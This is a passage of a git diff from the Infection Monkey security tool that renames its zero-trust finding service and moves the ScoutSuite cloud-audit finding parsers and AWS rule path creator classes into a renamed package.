"More than one finding exists for {}:{}".format(test, status) if len(existing_findings) == 0: - MonkeyFindingService.create_new_finding(test, status, events) + MonkeyZTFindingService.create_new_finding(test, status, events) else: # Now we know for sure this is the only one - MonkeyFindingService.add_events(existing_findings[0], events) + MonkeyZTFindingService.add_events(existing_findings[0], events) @staticmethod def create_new_finding(test: str, status: str, events: List[Event]): @@ -50,5 +50,5 @@ class MonkeyFindingService: @staticmethod def add_malicious_activity_to_timeline(events): - MonkeyFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, - status=zero_trust_consts.STATUS_VERIFY, events=events) + MonkeyZTFindingService.create_or_add_to_existing(test=zero_trust_consts.TEST_MALICIOUS_ACTIVITY_TIMELINE, + status=zero_trust_consts.STATUS_VERIFY, events=events) diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py deleted file mode 100644 index 72a4cb47a..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings_list.py +++ /dev/null @@ -1,8 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.findings import (DataLossPrevention, Logging, - PermissiveFirewallRules, - RestrictivePolicies, - SecureAuthentication, ServiceSecurity, - UnencryptedData) - -SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, - RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py deleted file mode 100644 index 10adb474c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudformation_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class CloudformationRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.CLOUDFORMATION - supported_rules = CloudformationRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py deleted file mode 100644 index 2f626dfd5..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudtrail_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class CloudTrailRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.CLOUDTRAIL - supported_rules = CloudTrailRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py deleted file mode 100644 index f6d4d673d..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/cloudwatch_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class CloudWatchRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.CLOUDWATCH - supported_rules = CloudWatchRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py deleted file mode 100644 index 59a2e49eb..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/config_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class ConfigRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.CONFIG - supported_rules = ConfigRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py deleted file mode 100644 index 4a37b0a7e..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ec2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class EC2RulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.EC2 - supported_rules = EC2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py deleted file mode 100644 index a38ae2881..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elb_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class ELBRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.ELB - supported_rules = ELBRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py deleted file mode 100644 index 2472bf076..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/elbv2_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class ELBv2RulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.ELB_V2 - supported_rules = ELBv2Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py deleted file mode 100644 index a601cb9cd..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/iam_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class IAMRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.IAM - supported_rules = IAMRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py deleted file mode 100644 index 0b8bf54af..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/rds_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class RDSRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.RDS - supported_rules = RDSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py deleted file mode 100644 index 4de7016a4..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/redshift_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class RedshiftRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.REDSHIFT - supported_rules = RedshiftRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py deleted file mode 100644 index 4c0a0dccc..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/s3_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class S3RulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.S3 - supported_rules = S3Rules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py deleted file mode 100644 index c7cac2bce..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/ses_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class SESRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.SES - supported_rules = SESRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py deleted file mode 100644 index 60a2f5b1c..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sns_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class SNSRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.SNS - supported_rules = SNSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py deleted file mode 100644 index 619cf2ddb..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/sqs_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class SQSRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.SQS - supported_rules = SQSRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py deleted file mode 100644 index 280d0933e..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators/vpc_rule_path_creator.py +++ /dev/null @@ -1,10 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.service_consts import SERVICE_TYPES -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.abstract_rule_path_creator import \ - AbstractRulePathCreator - - -class VPCRulePathCreator(AbstractRulePathCreator): - - service_type = SERVICE_TYPES.VPC - supported_rules = VPCRules diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py deleted file mode 100644 index 4dce7ed2b..000000000 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_path_building/rule_path_creators_list.py +++ /dev/null @@ -1,35 +0,0 @@ -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudformation_rule_path_creator import CloudformationRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudtrail_rule_path_creator import CloudTrailRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - cloudwatch_rule_path_creator import CloudWatchRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - config_rule_path_creator import ConfigRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ec2_rule_path_creator import EC2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elb_rule_path_creator import ELBRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - elbv2_rule_path_creator import ELBv2RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - iam_rule_path_creator import IAMRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - rds_rule_path_creator import RDSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - redshift_rule_path_creator import RedshiftRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - s3_rule_path_creator import S3RulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - ses_rule_path_creator import SESRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators.\ - sns_rule_path_creator import SNSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - sqs_rule_path_creator import SQSRulePathCreator -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators. \ - vpc_rule_path_creator import VPCRulePathCreator - -RULE_PATH_CREATORS_LIST = [EC2RulePathCreator, ELBv2RulePathCreator, RDSRulePathCreator, RedshiftRulePathCreator, - S3RulePathCreator, IAMRulePathCreator, CloudTrailRulePathCreator, ELBRulePathCreator, - VPCRulePathCreator, CloudWatchRulePathCreator, SQSRulePathCreator, SNSRulePathCreator, - SESRulePathCreator, ConfigRulePathCreator, CloudformationRulePathCreator] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/__init__.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/__init__.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/__init__.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings.py similarity index 83% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings.py index 7fa96544b..762f6bf80 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/findings.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings.py @@ -1,21 +1,21 @@ from abc import ABC, abstractmethod from common.common_consts import zero_trust_consts -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudformation_rules import CloudformationRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudtrail_rules import CloudTrailRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.cloudwatch_rules import CloudWatchRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.config_rules import ConfigRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ec2_rules import EC2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elb_rules import ELBRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.elbv2_rules import ELBv2Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.iam_rules import IAMRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.rds_rules import RDSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.redshift_rules import RedshiftRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.s3_rules import S3Rules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.ses_rules import SESRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sns_rules import SNSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.sqs_rules import SQSRules -from monkey_island.cc.services.zero_trust.scoutsuite.consts.rule_names.vpc_rules import VPCRules +from .rule_names.cloudformation_rules import CloudformationRules +from .rule_names.cloudtrail_rules import CloudTrailRules +from .rule_names.cloudwatch_rules import CloudWatchRules +from .rule_names.config_rules import ConfigRules +from .rule_names.ec2_rules import EC2Rules +from .rule_names.elb_rules import ELBRules +from .rule_names.elbv2_rules import ELBv2Rules +from .rule_names.iam_rules import IAMRules +from .rule_names.rds_rules import RDSRules +from .rule_names.redshift_rules import RedshiftRules +from .rule_names.s3_rules import S3Rules +from .rule_names.ses_rules import SESRules +from .rule_names.sns_rules import SNSRules +from .rule_names.sqs_rules import SQSRules +from .rule_names.vpc_rules import VPCRules class ScoutSuiteFinding(ABC): diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py new file mode 100644 index 000000000..fdef7d62b --- /dev/null +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/findings_list.py @@ -0,0 +1,8 @@ +from .findings import (DataLossPrevention, Logging, + PermissiveFirewallRules, + RestrictivePolicies, + SecureAuthentication, ServiceSecurity, + UnencryptedData) + +SCOUTSUITE_FINDINGS = [PermissiveFirewallRules, UnencryptedData, DataLossPrevention, SecureAuthentication, + RestrictivePolicies, Logging, ServiceSecurity] diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_consts.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_consts.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_consts.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudformation_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudformation_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudformation_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudtrail_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudtrail_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudtrail_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudwatch_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/cloudwatch_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/cloudwatch_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/config_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/config_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/config_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ec2_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ec2_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ec2_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elb_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elb_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elb_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elbv2_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/elbv2_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/elbv2_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/iam_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/iam_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/iam_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/rds_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/rds_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/rds_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/redshift_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/redshift_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/redshift_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/s3_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/s3_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/s3_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ses_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/ses_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/ses_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sns_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sns_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sns_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sqs_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/sqs_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/sqs_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/vpc_rules.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/rule_names/vpc_rules.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/rule_names/vpc_rules.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/service_consts.py similarity index 100% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/consts/service_consts.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/consts/service_consts.py diff --git a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py similarity index 88% rename from monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py rename to monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py index c5855ddd5..84dba4003 100644 --- a/monkey/monkey_island/cc/services/zero_trust/scoutsuite/data_parsing/rule_parser.py +++ b/monkey/monkey_island/cc/services/zero_trust/scoutsuite_findings/data_parsing/rule_parser.py @@ -1,6 +1,6 @@ from common.utils.code_utils import get_dict_value_by_path from common.utils.exceptions import RulePathCreatorNotFound -from monkey_island.cc.services.zero_trust.scoutsuite.data_parsing.rule_path_building.rule_path_creators_list import \ +from monkey_island.cc.services.zero_trust.scoutsuite_findings.data_parsing.rule_path_building.rule_path_creators_list import \ RULE_PATH_CREATORS_LIST diff --git 